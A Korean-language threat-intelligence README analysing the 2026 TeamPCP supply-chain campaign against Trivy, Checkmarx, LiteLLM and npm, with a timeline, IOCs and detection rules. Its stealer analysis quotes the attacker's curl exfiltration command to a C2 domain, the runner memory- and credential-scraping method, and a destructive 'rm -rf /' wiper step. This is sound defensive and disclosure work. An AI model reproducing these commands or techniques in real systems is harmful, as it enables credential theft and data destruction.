
CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 파급력이 큰 CI/CD 공급망 공격.
CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 영향력이 큰 CI/CD 공급망 공격.
2026년 3월 19일부터 25일 사이, 위협 행위자 TeamPCP(DeadCatx3, PCPcat, ShellForce, CanisterWorm으로도 추적됨)는 GitHub Actions, Docker Hub, OpenVSX, npm, PyPI 등 5개 생태계에 걸친 연쇄적 공급망 손상을 실행했습니다. 불완전하게 순환된 단일 GitHub PAT에서 시작된 이 캠페인은 두 개의 주요 오픈소스 보안 벤더(Aqua Security 및 Checkmarx), 4개의 GitHub Actions 저장소, 2개의 VS Code 확장 프로그램, 컨테이너 레지스트리, 66개 이상의 npm 패키지로 확산되었습니다.
이 저장소는 전체 기술 분석, 선별된 IOC 목록(FP 테스트 완료), Microsoft Defender XDR에 바로 배포할 수 있는 탐지 쿼리를 제공합니다.
| 날짜(UTC) | 이벤트 |
|---|---|
| 2026년 2월 20일 | hackerbot-claw 계정 생성; 악용 가능한 pull_request_target 워크플로를 찾기 위해 저장소 스캔 시작 |
| 2026년 2월 28일 | PWN 요청을 통한 첫 Trivy 손상; 자격 증명 유출 |
| 2026년 3월 1일 | Aqua Security 봉쇄 시도 — 자격 증명 순환 불완전 |
| 3월 19일 17:43 | 주 공격: TeamPCP가 손상된 aqua-bot 서비스 계정을 통해 aquasecurity/trivy-action의 76개 태그 중 75개와 setup-trivy의 7개 전체 태그를 강제 푸시 |
| 3월 19일 18:22 | 백도어가 삽입된 Trivy v0.69.4가 GitHub Releases, Docker Hub, GHCR, ECR에 게시됨 |
| 3월 20일 05:40 | Trivy-action 손상 창 종료(약 12시간) |
| 3월 20일 20:45 | CanisterWorm이 npm 전역으로 확산 중임이 감지됨 — 47개 이상 패키지 손상 |
| 3월 22일 20:31 | TeamPCP가 스크립트 기반 2분 일제 공격으로 aquasec-com GitHub 조직의 44개 전체 저장소를 변조 |
| 3월 22일 | 동일한 스틸러 페이로드가 포함된 Docker Hub 이미지 0.69.5 및 0.69.6 푸시 |
| 3월 23일 02:53 | Checkmarx 웨이브 시작: ast-phoenix 계정을 통해 악성 ast-results v2.53.0 및 cx-dev-assist v1.7.0이 OpenVSX에 게시됨 |
| 3월 23일 12:58 | 손상된 cx-plugins-releases 계정을 통해 Checkmarx/kics-github-action의 35개 전체 태그 강제 푸시 |
| 3월 23일 15:41 | Checkmarx가 OpenVSX 문제 해결 보고 |
| 3월 23일 16:50 | 사용자 신고 후 KICS GitHub Action 내려감 |
| 3월 23일 22:25 | Sysdig가 Checkmarx/ast-github-action v2.3.28도 손상되었음을 보고 |
| 3월 24일 08:30 | LiteLLM 웨이브: 도난된 자격 증명을 사용하여 트로이 목마화된 litellm v1.82.7 및 v1.82.8이 PyPI에 게시됨 |
| 3월 24일 11:25 | PyPI가 악성 LiteLLM 버전 격리 |
근본 원인: 2월 28일 침해 이후의 불완전한 자격 증명 순환. aqua-bot 서비스 계정 PAT가 폐기되지 않았거나, 공격자가 순환 과정에서 새 토큰을 관찰했습니다.
TeamPCP는 이 유지된 접근 권한을 사용하여 악성 사칭 커밋에 버전 태그를 강제 푸시했습니다. 각 위조 커밋은 원본의 메타데이터(작성자, 타임스탬프, 메시지)를 복제하면서 진입점 스크립트를 스틸러 페이로드로 교체했습니다. GitHub 릴리스 페이지에는 눈에 띄는 변화가 없었습니다 — "Immutable" 배지조차 정상적으로 표시되었습니다.
스틸러(204줄짜리 entrypoint.sh로, 스스로를 "TeamPCP Cloud stealer"라고 식별)는 3개 스테이지로 구성된 공격을 실행합니다:
스테이지 1: 메모리 스크래핑
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
스테이지 2: 파일시스템 자격 증명 스윕
50개 이상의 민감한 경로를 스캔합니다:
~/.ssh/*)~/.npmrc).env 파일스테이지 3: 암호화된 유출
tpcp.tar.gz로 번들링curl POST를 통해 유출GITHUB_TOKEN을 사용하여 피해자의 GitHub 계정에 tpcp-docs 또는 docs-tpcp 저장소 생성비 CI Linux 시스템에서 악성코드는:
~/.config/sysmon/ 생성sysmon.py) 드롭Trivy 웨이브에서 도난된 자격 증명으로 Checkmarx 생태계의 손상이 가능해졌습니다. 각각의 새로운 웨이브는 이전 웨이브의 차단 목록을 회피하기 위해 서로 다른 타입스쿼트 C2 도메인을 사용했습니다:
| 웨이브 | C2 도메인 | 타입스쿼트 대상 |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| 저장소 | 손상된 태그 | 노출 창(UTC) | 진입점 |
|---|---|---|---|
aquasecurity/trivy-action | 76개 중 75개(안전: 0.35.0) | 3월 19일 17:43 – 3월 20일 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | 7개 전 태그 | 3월 19일 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | 35개 전 태그 | 3월 23일 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28(전체로 추정) | 3월 23일 ~22:25+ | setup.sh |
| 확장 프로그램 | 악성 버전 | 안전 버전 |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
두 확장 프로그램 모두 3월 23일 12:53 UTC에 ast-phoenix 계정을 통해 12초 간격으로 게시되었습니다. 활성화 시 environmentAuthChecker.js가 클라우드 공급자 자격 증명을 확인한 다음 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz에서 2차 스테이지 스틸러를 가져옵니다.
| 이미지 | 악성 태그 |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| 패키지 | 버전 | 백도어 삽입 파일 |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
K8s 수평 이동 툴킷이 포함된 3중 중첩 base64 페이로드. checkmarx.zone/raw를 폴링하는 sysmon.service를 통한 지속성.
유출 패턴은 모든 웨이브에서 동일합니다:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
타입스쿼트 도메인 전략은 의도적입니다: CI/CD 로그를 검토하는 분석가는 해당 액션의 자체 벤더 도메인처럼 보이는 곳으로 향하는 curl 트래픽을 보게 됩니다. 신중한 비교 없이는 빠른 로그 검토에서 scan.aquasecurtiy.org가 aquasecurity.org로 통과됩니다.
도난된 데이터를 복호화할 수 있는 것은 공격자뿐입니다 — AES 세션 키는 공격자의 공개 키로 RSA-OAEP 암호화됩니다.
Trivy 손상 후 24시간 이내에, 도난된 npm 토큰으로 66개 이상의 패키지(141개의 악성 아티팩트)에 걸친 자가 전파 웜이 가능해졌습니다.
CanisterWorm이 주목할 만한 이유:
tdtqy-oyaaa-aaaae-af2dq-cai의 캐니스터는 분산형 스마트 계약 — 단일 제거 지점 없음get_latest_link, http_request, update_linkyoutube.com을 포함하는 URL을 반환하면 백도어가 휴면 상태가 됨pgmon(PostgreSQL 모니터링)으로 위장하는 systemd 사용자 서비스/tmp/pglog에 드롭, 상태는 /tmp/.pg_state에 추적알려진 손상 범위: @emilgroup/*, @teale.io/*(@teale.io/eslint-config v1.8.11, v1.8.12의 자가 전파 변종)
파괴적 변종은 이란 시스템을 구체적으로 표적합니다:
kamikaze라는 컨테이너를 통해 데이터 삭제 및 강제 재부팅 수행rm -rf / --no-preserve-root 실행탐지는 시스템 시간대 및 로케일 확인을 통해 이루어집니다.
규칙 이름: TeamPCP Supply Chain C2 and Malware IOC Match
심각도: 높음
범주: CommandAndControl
빈도: 매 1시간
전체 KQL 쿼리는 detection/defender_xdr_query.kql을 참조하세요.
쿼리는 다음 항목을 포함합니다:
바로 가져올 수 있는 CSV가 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv에 제공됩니다. 이 파일은 프로덕션 엔터프라이즈 환경에서 FP 테스트를 거쳤습니다.
| 플랫폼 | 탐지 |
|---|---|
| Palo Alto Cortex XDR | 규칙 ioc.linux.shaihulud.2 — GitHub Action 러너에서의 자격 증명 접근 |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, Curl Exfiltrating File, Exfiltration of AWS IMDS Credentials Using LOTL Binary |